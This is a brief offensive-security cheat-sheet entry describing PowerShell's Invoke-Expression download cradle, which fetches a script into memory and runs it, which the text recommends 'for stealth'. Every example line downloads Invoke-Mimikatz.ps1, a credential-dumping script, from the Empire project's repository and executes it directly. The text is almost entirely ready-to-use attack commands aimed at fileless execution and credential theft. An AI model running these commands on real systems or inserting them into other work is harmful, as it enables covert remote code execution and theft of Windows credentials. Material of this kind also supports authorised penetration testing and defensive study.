Downloads the file or a script to the memory and automatically executes it. This is useful for stealth. It can also be piped to other PS download methods.

Additionally, IEX usually uses Net.WebClient with a DownloadString parameter. This is the part that downloads a given file - as a string - IEX then just executes it.


`Invoke-Expression (New-Object Net.WebClient).DownloadString('https://<snip>/Invoke-Mimikatz.ps1')`

Examples

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
 
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX
 
IEX (New-Object Net.WebClient).DownloadString('https://<snip>/Invoke-Mimikatz.ps1')